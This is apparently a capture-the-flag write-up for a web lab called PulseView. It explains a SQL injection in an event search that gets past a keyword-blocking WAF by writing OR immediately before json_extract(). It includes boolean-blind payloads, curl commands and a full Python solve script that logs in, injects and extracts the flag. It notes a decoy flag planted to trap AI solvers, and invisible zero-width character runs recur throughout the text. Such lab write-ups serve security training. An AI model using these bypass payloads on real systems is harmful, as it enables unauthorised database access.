← Back to Writeups
CUSTOMMediumWeb

Lab 84 — PulseView

XESXOR9/10/20266 min read
#web#custom#medium#boolean_blind_sqli_with_iif#decoy_flag_detection#json_extract_equality_without_#json_extract_tautology#sql_injection_via_search_param#sqlite_string_truthiness#waf_bypass_or_followed_by_lett#linux

Lab 84 — PulseView

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: boolean_blind_sqli_with_iif, decoy_flag_detection, json_extract_equality_without_equals, json_extract_tautology, sql_injection_via_search_parameter, sqlite_string_truthiness, waf_bypass_or_followed_by_letter

Summary

Task: Flask analytics platform with Event Explorer search vulnerable to SQL injection behind a WAF that blocks common keywords and operators. Solution: Bypass WAF using OR followed by json_extract() tautology to reveal a hidden 93rd event containing the flag in its JSON properties.

Lab 84 — PulseView — HackAdvisor

Description

PulseView is a real-time analytics platform built by Meridian Analytics. It helps product teams track user events, build conversion funnels, and generate insights from behavioral data. The platform features an Event Explorer with search capabilities, funnel analysis tools, customizable reports, and workspace settings. As a security researcher, your task is to explore the application and find the hidden flag stored somewhere in the system. The Event Explorer lets you search through tracked analytics events. The search functionality includes server-side input validation to prevent common attacks — but is it truly comprehensive?

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask/SQLite analytics platform with an Event Explorer search feature. The search parameter is vulnerable to SQL injection, but a WAF blocks most common injection keywords and operators. The goal is to bypass the WAF and find a hidden flag stored in the database.

Analysis

Application Reconnaissance

After logging in with the provided credentials, the application presents an analytics dashboard with several features. The Event Explorer at /events?search=X is the primary attack surface — it searches through tracked analytics events. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observations:

  • Stack: Flask/Python backend, SQLite database, nginx/1.25.5 reverse proxy
  • Decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments — a honeypot designed to trap automated solvers and AI agents
  • SQL injection confirmed: A single quote ' in the search field causes an error ("An error occurred while processing your search"), confirming unsanitized input reaches the database
  • Query structure: WHERE name LIKE '%{input}%'

WAF Analysis

Systematic testing revealed a comprehensive but imperfect WAF: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Blocked by WAF:

CategoryBlocked Items
KeywordsUNION, LIKE, GLOB, BETWEEN, IN, IS, NOT, EXISTS, CASE, WHEN, THEN, ELSE, END, DROP, INSERT, UPDATE, DELETE
Operators=, <, >, !=, <>, >=, <=, --, ;, /*, ->
FunctionsAny word( pattern — substr(, instr(, unicode(, hex(, length(, lower(, upper(, trim(, etc.
AggregatesCAST, NULLIF, COALESCE, IFNULL, GROUP_CONCAT, CHAR
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Allowed by WAF:

CategoryAllowed Items
KeywordsAND, SELECT, FROM, WHERE, TABLE, HAVING, GROUP, ORDER, BY, LIMIT, OFFSET, TRUE, FALSE, NULL
Operators||, (, ), ::, ~, ?, ?|, ?&, @@, @?
FunctionsIIF(), json_extract(), json_array(), json_array_length(), json_valid(), json_remove(), json_object(), json_group_array()

Critical WAF Bypass

Two key weaknesses in the WAF:

  1. OR keyword bypass: The WAF blocks standalone OR but allows it when immediately followed by a letter character (to permit legitimate words like ORDER, ORGANIZATION, etc.). Since json_extract starts with a letter j, the sequence OR json_extract(...) passes the WAF. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. JSON functions not blocked: The WAF's function blocklist uses a word( pattern match, but JSON functions like json_extract() are not in the blocklist. Similarly, IIF() is allowed.

Boolean Blind SQLi Infrastructure

Before finding the simpler tautology approach, boolean blind injection was confirmed and used for database enumeration:

' AND TRUE AND '1   → 92 events (TRUE condition)
' AND FALSE AND '1  → 0 events (FALSE condition)

The trailing '1 is necessary because the query appends %' after the input. In SQLite, '1%' evaluates to 1 (truthy) in boolean context since it starts with a digit. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

IIF() for conditional logic:

sql
' || (SELECT IIF(condition, 'session', 'zzz')) || '

If condition is true, the search term becomes session (matching 27 events → large response). If false, it becomes zzz (0 events → small response).

json_extract() for equality comparison without = operator:

sql
JSON_EXTRACT('{"tablename":1}', '$.' || name)

Returns 1 if name equals "tablename", NULL otherwise — effectively an equality check without using the blocked = operator.

Database Schema

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Enumerated via boolean blind injection:

  • Tables: users, sqlite_sequence, events, funnels, funnel_data, reports, workspace_settings
  • events columns: id, name, category, properties, created_at, user_id

Solution

Step 1: Confirm SQL Injection

bash
# Single quote causes SQL error
curl -s -b cookies.txt "https://TARGET/events?search='" | grep -i error
# → "An error occurred while processing your search"

# String concatenation confirms SQLite
curl -s -b cookies.txt "https://TARGET/events?search=' || '" | grep -c "event-card"
# → 92 events (all events returned)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: WAF Bypass with OR + json_extract() Tautology

The key payload:

' OR json_extract('{"x":1}','$.x') AND '1

This transforms the SQL query into:

sql
SELECT * FROM events WHERE name LIKE '%' OR json_extract('{"x":1}','$.x') AND '1%'

Breaking it down:

  • name LIKE '%' — matches everything (but this is the original behavior)
  • OR json_extract('{"x":1}','$.x') — always returns 1 (truthy), creating a tautology
  • AND '1%' — the closing quote absorbs the trailing %' from the original query; '1%' evaluates to 1 in SQLite boolean context ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The WAF allows this because:

  • OR is followed by j (a letter), so it's not blocked
  • json_extract() is not in the function blocklist

Step 3: Extract the Hidden Event

bash
# Normal search returns 92 events
curl -s -b cookies.txt "https://TARGET/events?search=session" | grep -c "event-card"
# → 27

# OR tautology returns 93 events — one hidden event!
curl -s -b cookies.txt \
  "https://TARGET/events?search=' OR json_extract('{\"x\":1}','\$.x') AND '1" \
  | grep -c "event-card"
# → 93

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Browsing to page 7 of the results reveals the hidden 93rd event:

  • Event name: config_audit_log
  • Properties:
json
{
  "audit_type": "config_change",
  "flag": "FLAG{REDACTED}",
  "changed_by": "system",
  "timestamp": "2026-01-15T03:22:41Z",
  "component": "auth_service",
  "previous_state": "active",
  "new_state": "maintenance"
}

Solve Script

python
#!/usr/bin/env python3
"""
PulseView Analytics - SQL Injection via JSON Operator WAF Bypass
Lab 84 - HackAdvisor

Bypasses WAF by using OR followed by json_extract() (letter after OR is allowed).
json_extract('{"x":1}','$.x') returns 1, creating a tautology that reveals
a hidden event containing the flag.
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import re
import sys

BASE_URL = "https://TARGET.labs.hackadvisor.io"

def solve():
    session = requests.Session()

    # Step 1: Login
    r = session.post(f"{BASE_URL}/login", data={
        "email": "user@test.com",
        "password": "password123"
    }, allow_redirects=True)
    assert r.status_code == 200, "Login failed"
    print("[+] Logged in")

    # Step 2: Normal search to get baseline count
    r = session.get(f"{BASE_URL}/events", params={"search": ""})
    normal_count = r.text.count("event-card")
    print(f"[*] Normal event count: {normal_count}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Step 3: WAF bypass - OR followed by json_extract (letter after OR is allowed)
    payload = "' OR json_extract('{\"x\":1}','$.x') AND '1"
    r = session.get(f"{BASE_URL}/events", params={"search": payload})
    bypass_count = r.text.count("event-card")
    print(f"[*] Bypass event count: {bypass_count}")

    if bypass_count > normal_count:
        print(f"[+] Found {bypass_count - normal_count} hidden event(s)!")

    # Step 4: Paginate to find the hidden event with the flag
    page = 1
    while True:
        r = session.get(f"{BASE_URL}/events", params={
            "search": payload,
            "page": page
        })
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        # Look for FLAG{ in the response
        flags = re.findall(r'FLAG\{[^}]+\}', r.text)
        for flag in flags:
            if "d3c0y" not in flag.lower():
                print(f"[+] FLAG: {flag}")
                return flag

        if "event-card" not in r.text:
            break
        page += 1

    print("[-] Flag not found in paginated results")
    return None

if __name__ == "__main__":
    solve()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍